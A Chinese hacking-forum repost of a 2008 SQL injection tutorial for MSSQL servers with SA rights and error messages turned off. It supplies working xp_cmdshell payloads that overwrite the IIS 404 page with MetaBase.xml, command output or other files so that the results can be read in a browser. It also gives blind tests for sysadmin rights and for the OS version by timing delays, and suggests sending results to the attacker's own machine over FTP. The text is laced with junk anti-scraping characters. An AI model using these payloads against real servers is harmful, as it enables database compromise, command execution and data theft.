找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2386|回复: 0
打印 上一主题 下一主题

28度的冰注入技巧之(一)——404页面的妙用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:15:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。7 J. W/ c1 W. u* h" a2 i" q% L+ w, H

/ k; }8 a) g, e% L& f  虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。& I" v8 x9 Y- D* {5 a1 K

  {1 ]% \0 \+ J- P) C5 a  这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
+ S/ T" Z* w0 s% r1 s8 ^( J/ g- n! c* d5 L4 u* W, P) P, S
  IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
" U1 c4 w3 e' R) J4 Y2 N6 i/ r& `/ F; G$ y: S$ [! Q7 x( Z. o
  得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--; B6 M* a  T0 `+ e! j! D  z
  t8 n! D6 E1 B1 _2 Q: Y# X
  ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。( f" ~- B* H- k
; ?9 a2 f% U, `" @  j# P1 W, l
  执行命令得到回显# k! |* o4 G2 F. d

# m6 Y* P9 i1 t7 N  通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--; D/ t6 n5 }" O+ n

$ E% P4 @. e7 S  得到文件也shi相同,把文件copy到404b.htm就行了, q* N1 q/ w7 Y3 }& z2 t" f

% l5 u" s2 ?8 w" O4 H2 P1 N  by 28ice, 2008/6/26# I/ |& z2 s3 a9 G+ G, T

! n5 n, a" ?  \, K  摘自 28度的冰! |* {% O% D  C) M/ {: l+ _0 l& c/ A2 [

: D7 s" K: v: H& S% ]5 H  盲注判断权限和操作系统版本& W5 ^) t3 G1 e9 D1 e
" w6 g& V. b0 G+ _% U  H
  首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?9 \5 M" {7 `) y  z/ ^

! o* O- A7 _, r5 Y  最简单的,可能以用这样的方法:& c9 K' i" o; [! ?  T: a9 l

+ O$ H. i4 p9 x2 b9 W% S& M) U* x  1=(select IS_SRVROLEMEMBER(’sysadmin’))
  ~8 N2 M8 f# b3 |) h# D& W5 o
9 D! }3 W+ }- V3 k* R  g9 B  当然,有些情况下,这个方法并不奏效。/ {4 W+ C! }; A( H' {( t) `
3 @, G/ G$ i& X; H
  既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。0 _. N* q& ]9 d' @& P
6 l; }7 T5 t3 t  d+ V- z! H) B: P7 U8 x
  有个3办法可能以解决这个问题
* z. O5 T0 ]4 B' u/ J, `" M  ]) b
( x# `. Y$ U% w$ E  a.把执行结果写到404b.htm,具体请看我的上一篇文章
9 f% W9 ]; _) T( b0 ^  N% r& l/ u3 f( O: `, s
  b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
  d3 L1 A  o: A; h% _( S5 y! e8 y1 {$ Q, q' C
  c.如果1433端口可能以连接,那干脆新建个sql登录
6 d8 y9 M  C" J: t# l' B1 E0 p
- G& k% v8 ?* m  d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数7 M* ^$ Y3 A  K

$ X0 ?. L* H+ G1 A, b  还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
* b, N2 c3 m3 `# p9 `
7 s, \1 T8 }7 Y- _& L  很简单
( Y/ T% J* D8 R" J5 s$ R1 N1 `  }0 l* d+ q* J
  执行systeminfo
; j& a. T7 s1 I, A3 V
$ R0 H. p  V9 y, r/ P3 u  b* Z  在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表